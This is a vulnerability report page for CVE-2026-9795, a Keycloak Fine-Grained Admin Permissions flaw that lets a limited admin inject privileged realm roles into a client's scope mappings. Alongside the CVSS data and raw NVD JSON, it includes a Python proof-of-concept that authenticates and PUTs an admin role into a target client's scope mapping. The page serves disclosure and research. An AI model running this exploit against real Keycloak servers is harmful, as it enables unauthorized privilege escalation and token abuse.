Security Vulnerability Report
中文
CVE-2026-9795 CVSS 7.3 HIGH

CVE-2026-9795

Published: 2026-05-28 05:16:41
Last Modified: 2026-05-28 05:16:41

Description

A flaw was found in Keycloak's Fine-Grained Admin Permissions (FGAPv2) feature. An administrator with limited client management permissions can exploit this vulnerability to assign any realm role, including highly privileged roles, to a client's scope mapping. This bypasses intended security controls, allowing the injected role to be projected into a user's authentication token when they access the modified client. This could lead to unauthorized privilege escalation within the Keycloak realm.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Configuration KEYCLOAK_URL = "https://target-keycloak.com" REALM = "master" CLIENT_ID = "admin-cli" ADMIN_USER = "limited_admin" ADMIN_PASS = "password" TARGET_CLIENT_ID = "target-client" # The ID of the high-privilege role to inject (e.g., 'admin') TARGET_ROLE_ID = "admin-role-id" # 1. Authenticate as the limited administrator to get a token auth_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" auth_data = { "client_id": CLIENT_ID, "username": ADMIN_USER, "password": ADMIN_PASS, "grant_type": "password" } auth_resp = requests.post(auth_url, data=auth_data) access_token = auth_resp.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # 2. Get the ID of the target client clients_url = f"{KEYCLOAK_URL}/admin/realms/{REALM}/clients?clientId={TARGET_CLIENT_ID}" clients_resp = requests.get(clients_url, headers=headers) target_client_id = clients_resp.json()[0]['id'] # 3. Exploit: Add the realm role to the client's scope mappings # This simulates the bypass of FGAPv2 restrictions scope_mapping_url = f"{KEYCLOAK_URL}/admin/realms/{REALM}/clients/{target_client_id}/scope-mappings/realm/{TARGET_ROLE_ID}" print(f"Attempting to inject role {TARGET_ROLE_ID} into client {TARGET_CLIENT_ID} scope mapping...") # In a vulnerable version, this restricted admin might be allowed to perform this action exploit_resp = requests.put(scope_mapping_url, headers=headers) if exploit_resp.status_code == 204: print("[+] Exploit successful! Role mapped to client scope.") print("[+] Users authenticating to this client will now receive this role in their token.") else: print(f"[-] Exploit failed. Status code: {exploit_resp.status_code}") print(exploit_resp.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9795", "sourceIdentifier": "[email protected]", "published": "2026-05-28T05:16:41.003", "lastModified": "2026-05-28T05:16:41.003", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak's Fine-Grained Admin Permissions (FGAPv2) feature. An administrator with limited client management permissions can exploit this vulnerability to assign any realm role, including highly privileged roles, to a client's scope mapping. This bypasses intended security controls, allowing the injected role to be projected into a user's authentication token when they access the modified client. This could lead to unauthorized privilege escalation within the Keycloak realm."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9795", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482462", "source": "[email protected]"}]}}